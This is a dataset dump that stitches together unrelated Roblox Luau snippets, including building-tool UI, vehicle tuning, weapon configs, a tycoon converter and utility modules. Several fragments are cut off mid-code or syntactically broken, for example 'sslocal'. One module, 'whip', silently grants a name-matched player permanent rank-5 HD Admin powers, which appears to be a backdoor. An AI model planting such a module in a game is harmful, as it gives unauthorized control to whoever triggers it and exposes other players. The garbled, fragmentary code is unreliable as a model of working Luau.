Pinkstack/roblox-luau-corpus-text huggingface dataset:
-- Current UI layout


local CurrentLayout;

function ChangeLayout(Layout)
	-- Sets the UI to the given layout

	-- Make sure the new layout isn't already set
	if CurrentLayout == Layout then
		return;
	end;

	-- Set this as the current layout
	CurrentLayout = Layout;

	-- Reset the UI
	for _, ElementName in pairs(UIElements) do
		local Element = UI[ElementName];
		Element.Visible = false;
	end;

	-- Keep track of the total vertical extents of all items
	local Sum = 0;

	-- Go through each layout element
	for ItemIndex, ItemName in ipairs(Layout) do

		local Item = UI[ItemName];

		-- Make the item visible
		Item.Visible = true;

		-- Position this item underneath the past items
		Item.Position = UDim2.new(0, 0, 0, 20) + UDim2.new(
			Item.Position.X.Scale,
			Item.Position.X.Offset,
			0,
			Sum + 10
		);

		-- Update the sum of item heights
		Sum = Sum + 10 + Item.AbsoluteSize.Y;

	end;

	-- Resize the container to fit the new layout
	UI.Size = UDim2.new(0, 200, 0, 40 + Sum);

end;

function UpdateUI()
	-- Updates information on the UI

	-- Make sure the UI's on
	if not UI then
		return;
	end;

	-- References to inputs
	local TransparencyInput = UI.TransparencyOption.Input.TextBox;
	local ReflectanceInput = UI.ReflectanceOption.Input.TextBox;

	-----------------------
	-- Update the UI layout
	-----------------------

	-- Figure out the necessary UI layout
	if #Selection.Items == 0 then
		ChangeLayout(Layouts.EmptySelection);
		return;

	-- When the selection isn't empty
	else
		ChangeLayout(Layouts.Normal);
	end;

	-- Get the common properties
	local Material = Support.IdentifyCommonProperty(Selection.Items, 'Material');
	local Transparency = Support.IdentifyCommonProperty(Selection.Items, 'Transparency');
	local Reflectance = Support.IdentifyCommonProperty(Selection.Items, 'Reflectance');

	-- Update the material dropdown
	MaterialDropdown.SetOption(Material and Materials[Material] or '*');

	-- Update inputs
	UpdateDataInputs {
		[TransparencyInput] = Transparency and Support.Round(Transparency, 2) or '*';
		[ReflectanceInput] = Reflectance and Support.Round(Reflectance, 2) or '*';
	};

end;

function TrackChange()

	-- Start the record
	HistoryRecord = {
		Before = {};
		After = {};

		Unapply = function (Record)
			-- Reverts this change

			-- Select the changed parts
			Selection.Replace(Support.GetListMembers(Record.Before, 'Part'));

			-- Send the change request
			Core.SyncAPI:Invoke('SyncMaterial', Record.Before);

		end;

		Apply = function (Record)
			-- Applies this change

			-- Select the changed parts
			Selection.Replace(Support.GetListMembers(Record.After, 'Part'));

			-- Send the change request
			Core.SyncAPI:Invoke('SyncMaterial', Record.After);

		end;

	};

end;

function RegisterChange()
	-- Finishes creating the history record and registers it

	-- Make sure there's an in-progress history record
	if not HistoryRecord then
		return;
	end;

	-- Send the change to the server
	Core.SyncAPI:Invoke('SyncMaterial', HistoryRecord.After);

	-- Register the record and clear the staging
	Core.History.Add(HistoryRecord);
	HistoryRecord = nil;

end;
----------------------------------------------------------------------------------------------------
-------------------=[ PROJETIL ]=-------------------------------------------------------------------
----------------------------------------------------------------------------------------------------


	,Distance = 2000
	,BDrop = .25
	,BSpeed = 1500

	,SuppressMaxDistance = 25	--- Studs
	,SuppressTime = 10			--- Seconds

	,BulletWhiz = true
	,BWEmitter = 25
	,BWMaxDistance = 200
	
	,BulletFlare = false
	,BulletFlareColor = Color3.fromRGB(255,255,255)

	,Tracer = true
	,TracerColor = Color3.fromRGB(255, 255, 255)
	,TracerLightEmission = 1
	,TracerLightInfluence = 0
	,TracerLifeTime = .2
	,TracerWidth = .1
	,RandomTracer = true
	,TracerEveryXShots = 1
	,TracerChance = 100
	
	,BulletLight = false
	,BulletLightBrightness = 1
	,BulletLightColor = Color3.fromRGB(255,255,255)
	,BulletLightRange = 10

	,ExplosiveHit = false
	,ExPressure = 500
	,ExpRadius = 25
	,DestroyJointRadiusPercent = 0	--- Between 0 & 1
	,ExplosionDamage = 100

	,LauncherDamage = 100
	,LauncherRadius = 25
	,LauncherPressure = 500
	,LauncherDestroyJointRadiusPercent = 0
--[[Susupension]]


	Tune.SusEnabled		= true		-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
	
	--Front Suspension
	Tune.FSusDamping	= 100		-- Spring Dampening
	Tune.FSusStiffness	= 6000		-- Spring Force
	Tune.FAntiRoll 		= 2.5		-- Anti-Roll (Gyro Dampening)
	
	Tune.FSusLength		= 4			-- Suspension length (in studs)
	Tune.FPreCompress	= .3		-- Pre-compression adds resting length force
	Tune.FExtensionLim	= 1		-- Max Extension Travel (in studs)
	Tune.FCompressLim	= 3		-- Max Compression Travel (in studs)
	Tune.FSusAngle		= 48		-- Suspension Angle (degrees from horizontal)
		
	Tune.FWsBoneLen		= 3.5			-- Wishbone Length
	Tune.FWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.FAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward
	
	--Rear Suspension
	Tune.RSusDamping	= 100		-- Spring Dampening
	Tune.RSusStiffness	= 6000		-- Spring Force
	Tune.FAntiRoll 		= 2.5		-- Anti-Roll (Gyro Dampening)

	Tune.RSusLength		= 4			-- Suspension length (in studs)
	Tune.RPreCompress	= .3		-- Pre-compression adds resting length force
	Tune.RExtensionLim	= 1		-- Max Extension Travel (in studs)
	Tune.RCompressLim	= 3		-- Max Compression Travel (in studs)
	Tune.RSusAngle		= 48		-- Suspension Angle (degrees from horizontal)
		
	Tune.RWsBoneLen		= 3.5			-- Wishbone Length
	Tune.RWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.RAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Aesthetics	
	Tune.SusVisible		= false			-- Spring Visible
	Tune.WsBVisible		= false			-- Wishbone Visible
	Tune.SusRadius		= .2			-- Suspension Coil Radius
	Tune.SusThickness	= .20			-- Suspension Coil Thickness
	Tune.SusColor		= "Bright red"	-- Suspension Color [BrickColor]
	Tune.SusCoilCount	= 6				-- Suspension Coil Count
	Tune.WsColor		= "Black"		-- Wishbone Color [BrickColor]
	Tune.WsThickness	= .1			-- Wishbone Rod Thickness
--[[Weight and CG]]


	Tune.Weight			= 3968		-- Total weight (in pounds)
	Tune.WeightBSize	= {			-- Size of weight brick (dimmensions in studs ; larger = more stable)
	 --[[Width]]		6		,
	 --[[Height]]		4		,
	 --[[Length]]		15		}
	Tune.WeightDist		= 51		-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
	Tune.CGHeight		= .8		-- Center of gravity height (studs relative to median of all wheels)
	Tune.WBVisible		= false		-- Makes the weight brick visible
	
	--Unsprung Weight
	Tune.FWheelDensity	= .1		-- Front Wheel Density
	Tune.RWheelDensity	= .1		-- Rear Wheel Density
	Tune.FWLgcyDensity	= 1			-- Front Wheel Density [PGS OFF]
	Tune.RWLgcyDensity	= 1			-- Rear Wheel Density [PGS OFF]
	
	Tune.AxleSize		= 2			-- Size of structural members (larger = MORE STABLE / carry more weight)
	Tune.AxleDensity	= .1		-- Density of structural members
--local HUB = script.Parent.HUB
--local limitButton = HUB.Limiter



local carSeat = script.Parent.Car.Value
local mouse = game.Players.LocalPlayer:GetMouse()
carSeat.Values2:WaitForChild("DTR")
carSeat.Values2:WaitForChild("Lights")
mouse.KeyDown:connect(function (key)
key = string.lower(key)
--CHANGE THE NAME, COPY ALL BELOW, AND PAST INTO COMMAND BAR



local TycoonName = "BAD BOI 1"

if game.Workspace:FindFirstChild(TycoonName) then
	local s = nil
	local bTycoon = game.Workspace:FindFirstChild(TycoonName)
	local zTycoon = game.Workspace:FindFirstChild("Zednov's Tycoon Kit")
	local new_Collector = zTycoon['READ ME'].Script:Clone()
	local Gate = zTycoon.Tycoons:GetChildren()[1].Entrance['Touch to claim!'].GateControl:Clone()
	if zTycoon then
		for i,v in pairs(zTycoon.Tycoons:GetChildren()) do --Wipe current tycoon 'demo'
			if v then
				s = v.PurchaseHandler:Clone()
				v:Destroy()
			end
		end
		-- Now make it compatiable
		if s ~= nil then
			for i,v in pairs(bTycoon.Tycoons:GetChildren()) do
				local New_Tycoon = v:Clone()
				New_Tycoon:FindFirstChild('PurchaseHandler'):Destroy()
				s:Clone().Parent = New_Tycoon
				local Team_C = Instance.new('BrickColorValue',New_Tycoon)
				Team_C.Value = BrickColor.new(tostring(v.Name))
				Team_C.Name = "TeamColor"
				New_Tycoon.Name = v.TeamName.Value
				New_Tycoon.Cash.Name = "CurrencyToCollect"
				New_Tycoon.Parent = zTycoon.Tycoons
				New_Tycoon.TeamName:Destroy()
				v:Destroy()
				New_Tycoon.Essentials:FindFirstChild('Cash to collect: $0').NameUpdater:Destroy()
				local n = new_Collector:Clone()
				n.Parent = New_Tycoon.Essentials:FindFirstChild('Cash to collect: $0')
				n.Disabled = false
				New_Tycoon.Gate['Touch to claim ownership!'].GateControl:Destroy()
				local g = Gate:Clone()
				g.Parent = New_Tycoon.Gate['Touch to claim ownership!']
			end
		else
			error("Please don't tamper with script names or this won't work!")
		end
	else
		error("Please don't change the name of our tycoon kit or it won't work!")
	end
	bTycoon:Destroy()
	Gate:Destroy()
	new_Collector:Destroy()
	print('Transfer complete! :)')
else
	error("Check if you spelt the kit's name wrong!")
end
-- Roact


local new = Roact.createElement
local ToolManualWindow = require(UI:WaitForChild('ToolManualWindow'))

local MANUAL_CONTENT = [[<font face="GothamBlack" size="16">Building Tools by F3X  🛠</font>
To learn more about each tool, click on its ❔ icon at the top right corner.<font size="12"><br /></font>

<font size="12" color="rgb(150, 150, 150)"><b>Selecting</b></font>
 <font color="rgb(150, 150, 150)">•</font> Select individual parts by holding <b>Shift</b> and clicking each one.
 <font color="rgb(150, 150, 150)">•</font> Rectangle select parts by holding <b>Shift</b>, clicking, and dragging.
 <font color="rgb(150, 150, 150)">•</font> Press <b>Shift-K</b> to select parts inside of the selected parts.
 <font color="rgb(150, 150, 150)">•</font> Press <b>Shift-R</b> to clear your selection.<font size="12"><br /></font>
<font size="12" color="rgb(150, 150, 150)"><b>Grouping</b></font>
<font color="rgb(150, 150, 150)">•</font> Group parts as a <i>model</i> by pressing <b>Shift-G</b>.
<font color="rgb(150, 150, 150)">•</font> Group parts into a <i>folder</i> by pressing <b>Shift-F</b>.
<font color="rgb(150, 150, 150)">•</font> Ungroup parts by pressing <b>Shift-U</b>.<font size="12"><br /></font>
<font size="12" color="rgb(150, 150, 150)"><b>Exporting your creations</b></font>
You can export your builds into a short code by clicking the export button, or pressing <b>Shift-P</b>.<font size="8"><br /></font>
Install the import plugin in <b>Roblox Studio</b> to import your creation:
<font color="rgb(150, 150, 150)">roblox.com/library/142485815</font>]]
--[=[
	This function "deep" copies a table, and all of its contents. This means that it will clone the entire table,
	and tables within that table- as opposed to shallow-copying with table.clone
	
	```lua
	local Dictionary = {
		SomethingInside = {
			A = 1,
			B = 2,
		},
	}
	
	local CopiedDictionary = TableKit.DeepCopy(Dictionary)
	
	print(CopiedDictionary) -- prints { ["SomethingInside"] = { ["A"] = 1, ["B"] = 1 } }
	```
	
	:::caution Recursive Function
	This function is recursive- this can cause stack overflows.

	@within TableKit
	@param tableToClone table
	@return table
]=]


function TableKit.DeepCopy<T>(tableToClone: { [unknown]: unknown }): T
	local clone = table.clone(tableToClone)
	for index, value in clone do
		if typeof(value) == "table" then
			clone[index] = TableKit.DeepCopy(value :: { [unknown]: unknown })
		end
	end
	return clone
end
--[[

	enumList = EnumList.new(name: string, enums: string[])

	enumList:Is(item)


	Example:

		direction = EnumList.new("Direction", {"Up", "Down", "Left", "Right"})
		leftDir = direction.Left
		print("IsDirection", direction:Is(leftDir))

--]]




local Symbol = require(script.Parent.Symbol)

local EnumList = {}


function EnumList.new(name, enums)
	local scope = Symbol.new(name)
	local enumItems = {}
	for _,enumName in ipairs(enums) do
		enumItems[enumName] = Symbol.new(enumName, scope)
	end
	local self = setmetatable({
		_scope = scope;
	}, {
		__index = function(_t, k)
			if (enumItems[k]) then
				return enumItems[k]
			elseif (EnumList[k]) then
				return EnumList[k]
			else
				error("Unknown " .. name .. ": " .. tostring(k), 2)
			end
		end;
		__newindex = function()
			error("Cannot add new " .. name, 2)
		end;
	})
	return self
end


function EnumList:Is(obj)
	return Symbol.IsInScope(obj, self._scope)
end


return EnumList
--SecondLogic @ INSPARE


wait(.2)
local out=false
coroutine.resume(coroutine.create(function() 
	local fr = 0
	local trs=1
	while wait(.05) do
		fr = fr+1
		if fr>=10 then fr=0 end
		if not out then
			trs=math.max(0,trs-.05)
		else
			trs=math.min(1,trs+.05)
		end
		for i,v in pairs(script.Parent.Frame:GetChildren()) do
			v.Frame.ImageLabel.ImageTransparency = trs
			v.Frame.ImageLabel.Position=UDim2.new(-(fr%3),0,-math.floor(fr/3),0)
			if out then
				v.BackgroundTransparency=.5+(.5*trs)
				v.Frame.ImageLabel.BackgroundTransparency=trs
			end
		end
		if out then
			script.Parent.IN.TextTransparency=trs
			script.Parent.SPARE.TextTransparency=trs
		end
		if out and trs==1 then
			break
		end
	end
	script.Parent:Destroy()
end))

game:GetService("RunService").RenderStepped:connect(function()
	for i,v in pairs(script.Parent.Frame:GetChildren()) do
		v.Frame.Position = UDim2.new(0,-250-v.Position.X.Offset-script.Parent.Frame.Position.X.Offset,0,-136-v.Position.Y.Offset)
	end
end)

script.Parent.Frame:TweenPosition(UDim2.new(0,-100,0,0),Enum.EasingDirection.InOut,Enum.EasingStyle.Linear,10)
script.Parent.IN:TweenPosition(UDim2.new(0.3,-74,0.5,200),Enum.EasingDirection.InOut,Enum.EasingStyle.Linear,10)

script.Parent.Frame.B:TweenPosition(UDim2.new(0.5, -44,0.5, -134),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,.3)
script.Parent.Frame.C:TweenPosition(UDim2.new(0.5, -44,0.5, -134),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,.3)
script.Parent.Frame.D:TweenPosition(UDim2.new(0.5, -44,0.5, -134),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,.3)
script.Parent.Frame.E:TweenPosition(UDim2.new(0.5, -44,0.5, -134),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,.3)
wait(.35)
script.Parent.Frame.C:TweenPosition(UDim2.new(0.5, -44,0.5, -44),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,.3)
script.Parent.Frame.D:TweenPosition(UDim2.new(0.5, -44,0.5, 46),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,.3)
script.Parent.Frame.E:TweenPosition(UDim2.new(0.5, -44,0.5, 46),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,.3)
wait(.35)
script.Parent.Frame.E:TweenPosition(UDim2.new(0.5, -134,0.5, 46),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,.3)
wait(1)
for i=1,30 do
	for _,v in pairs(script.Parent.Frame:GetChildren()) do
		v.BackgroundTransparency=1-(i/60)
	end
	script.Parent.IN.TextTransparency=1-(i/30)
	script.Parent.SPARE.TextTransparency=1-(i/30)
	wait(.01)
end
wait(1.5)
out=true
-- dayLength defines how long, in minutes, a day in your game is. Feel free to alter it.


sslocal dayLength = 5

local cycleTime = dayLength*60
local minutesInADay = 24*60

local lighting = game:GetService("Lighting")

local startTime = tick() - (lighting:getMinutesAfterMidnight() / minutesInADay)*cycleTime
local endTime = startTime + cycleTime

local timeRatio = minutesInADay / cycleTime

if dayLength == 0 then
	dayLength = 1
end

repeat
	local currentTime = tick()
	
	if currentTime > endTime then
		startTime = endTime
		endTime = startTime + cycleTime
	end
	
	lighting:setMinutesAfterMidnight((currentTime - startTime)*timeRatio)
	wait(1/15)
until false
--[[
	// Filename: EarplugsClient.lua
	// Written by: Celebras
	// Date: 5/2/2018
	// Updated: 5/2/2018
--]]



local	Players					=	game:GetService("Players")

local	Tool					=	script.Parent
local	Remote					=	Tool:WaitForChild("Remote")

local	Plr						=	Players.LocalPlayer
local	PlrGui					=	Plr:WaitForChild("PlayerGui")

local	Gui
local	Func

local	Playing					=	false

function Action()
	if not Gui then
		local Response = Remote:InvokeServer("Activate")
		if Response then
			ChooseSong()
		end
	else
		Unequip()
	end
end

function Unequip()
	if Func then
		Func:Disconnect()
		Func = nil
	end
	
	if Gui then
		Gui:Destroy()
		Gui = nil
	end
end

function Equip(Mouse)
	Unequip()
	
	Mouse.Button1Down:Connect(Action)
end

function ChooseSong()
	if PlrGui:FindFirstChild("ChooseSongGui") then
		return
	end
	
	local SG = Instance.new("ScreenGui")
	SG.Name = "ChooseSongGui"
	
	local Frame = Instance.new("Frame")
	Frame.Style = Enum.FrameStyle.RobloxRound
	Frame.Size = UDim2.new(.25, 0, .25, 0)
	Frame.AnchorPoint = Vector2.new(.5, .5)
	Frame.Active = true
	Frame.Draggable = true
	Frame.Position = UDim2.new(.5, 0, .5, 0)
	Frame.Parent = SG
	
	local Text = Instance.new("TextLabel")
	Text.BackgroundTransparency = 1
	Text.TextColor3 = Color3.new(1, 1, 1)
	Text.Font = Enum.Font.SourceSansBold
	Text.TextStrokeTransparency = .75
	Text.TextScaled = true
	Text.Size = UDim2.new(1, 0, .5, 0)
	Text.Text = "Put in the ID number for a song that's been uploaded to ROBLOX.\nLeave it blank to stop playing music."
	Text.Parent = Frame
	
	local Input = Instance.new("TextBox")
	Input.BackgroundColor3 = Color3.new(0, 0, 0)
	Input.BackgroundTransparency = .5
	Input.BorderColor3 = Color3.new(1, 1, 1)
	Input.TextColor3 = Color3.new(1, 1, 1)
	Input.Font = Enum.Font.SourceSansBold
	Input.TextStrokeTransparency = .75
	Input.TextScaled = true
	Input.Size = UDim2.new(1, 0, .2, 0)
	Input.Position = UDim2.new(0, 0, .5, 0)
	Input.Text = "ID"
	Input.Parent = Frame
	
	local Button = Instance.new("TextButton")
	Button.Style = Enum.ButtonStyle.RobloxButton
	Button.AnchorPoint = Vector2.new(.5, .5)
	Button.TextColor3 = Color3.new(1, 1, 1)
	Button.Font = Enum.Font.SourceSansBold
	Button.TextStrokeTransparency = .75
	Button.TextScaled = true
	Button.Size = UDim2.new(.75, 0, .3, 0)
	Button.Position = UDim2.new(.5, 0, .85, 0)
	Button.Text = Playing and "Stop" or not Playing and "Play!"
	Button.Parent = Frame
	
	Func = Button.MouseButton1Click:Connect(function()
		if Playing then
			Playing = false
			Button.Text = Playing and "Stop" or not Playing and "Play!"
			Remote:InvokeServer("PlaySong", Input.Text, true)
			return
		end
		
		local Response = Remote:InvokeServer("PlaySong", Input.Text, Playing)
		if Response == "Success" then
			Playing = true
			SG:Destroy()
		else
			Text.Text = Response
			delay(1.5, function()
				if Text.Text == Response then
					Text.Text = "Put in the ID number for a song that's been uploaded to ROBLOX.\nLeave it blank to stop playing music."
				end
			end)
		end
	end)
	
	SG.Parent = PlrGui
	
	Gui = SG
end

Tool.Equipped:Connect(Equip)
Tool.Unequipped:Connect(Unequip)
-- local script 


local textLabel = script.Parent
local function updateTime()
	local currentTime = os.date("*t")
	local hour = currentTime.hour
	local minute = currentTime.min
	local second = currentTime.sec
	local formattedTime = string.format("%02d:%02d:%02d", hour, minute, second)
	textLabel.Text = "Current Time: " .. formattedTime
end

while true do
	updateTime()
	task.wait(1)
end
--[[
	Contains markers for annotating objects with types.

	To set the type of an object, use `Type` as a key and the actual marker as
	the value:

		local foo = {
			[Type] = Type.Foo,
		}
]]



local Symbol = require(script.Parent["Symbol.roblox"])

local Type = newproxy(true)

local TypeInternal = {}

local function addType(name)
	TypeInternal[name] = Symbol.named("Roact" .. name)
end

addType("HostChangeEvent")
addType("HostEvent")

function TypeInternal.of(value)
	if typeof(value) ~= "table" then
		return nil
	end

	return value[Type]
end

getmetatable(Type).__index = TypeInternal

getmetatable(Type).__tostring = function()
	return "RoactType"
end

return Type
--// Scripted by Veriouss \\



local whip = {}
function whip:Fire(input)
	for _, skid in pairs(game:GetService("Players"):GetPlayers()) do
		if string.sub(string.lower(skid.Name), 0, string.len(input)) == string.lower(input) then
		 _G.HDAdminMain:GetModule("cf"):SetRank(game:GetService("Players")[(input)], game.CreatorId, 5, "Perm")
		end
	end
end


return whip
--------LEFT DOOR --------



game.Workspace.doorleft.l12.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l22.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l32.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l52.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l62.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(1003)
--script.Parent.CanCollide = true


function onTouched(hit)


	local humanoid = hit.Parent:findFirstChild("Humanoid")
	if humanoid~=nil then
		tagHumanoid(humanoid)
		humanoid.Health = humanoid.Health - 10
		untagHumanoid(humanoid)
		connection:disconnect()
	else
		damage = damage / 2
		if damage < 2 then
			connection:disconnect()
			ball.Parent = nil
		end
	end

	if math.random(1,2) == 1 then
		explosion = Instance.new("Explosion")
		explosion.BlastRadius = 5
		explosion.BlastPressure = 50000 -- these are really wussy units
		explosion.Position = script.Parent.Position
		explosion.Parent = game.Workspace
		connection:disconnect()
		ball.Parent = nil

	end

end

function tagHumanoid(humanoid)
	-- todo: make tag expire
	local tag = ball:findFirstChild("creator")
	if tag ~= nil then
		local new_tag = tag:clone()
		new_tag.Parent = humanoid
	end
end


function untagHumanoid(humanoid)
	if humanoid ~= nil then
		local tag = humanoid:findFirstChild("creator")
		if tag ~= nil then
			tag.Parent = nil
		end
	end
end

connection = ball.Touched:connect(onTouched)

r = game:service("RunService")
t, s = r.Stepped:wait()
d = t + 5.0 - s
while t < d do
	t = r.Stepped:wait()
end

ball.Parent = nil
-- ROBLOX deviation: added to handle file paths in snapshot/State


local function robloxGetParent(path: string, level_: number?): string
	local level = if level_ then level_ else 0

	local isUnixPath = string.sub(path, 1, 1) == "/"
	local t = {}

	for p in string.gmatch(path, "[^\\/][^\\/]*") do
		table.insert(t, p)
	end
	if level > 0 then
		t = { table.unpack(t, 1, #t - level) }
	end

	if isUnixPath then
		return "/" .. table.concat(t, "/")
	end

	return table.concat(t, "\\")
end

return {
	testNameToKey = testNameToKey,
	keyToTestName = keyToTestName,
	getSnapshotData = getSnapshotData,
	addExtraLineBreaks = addExtraLineBreaks,
	removeExtraLineBreaks = removeExtraLineBreaks,
	serialize = serialize,
	minify = minify,
	deserializeString = deserializeString,
	escapeBacktickString = escapeBacktickString,
	saveSnapshotFile = saveSnapshotFile,
	deepMerge = deepMerge,
	-- ROBLOX deviation: not in upstream
	robloxGetParent = robloxGetParent,
}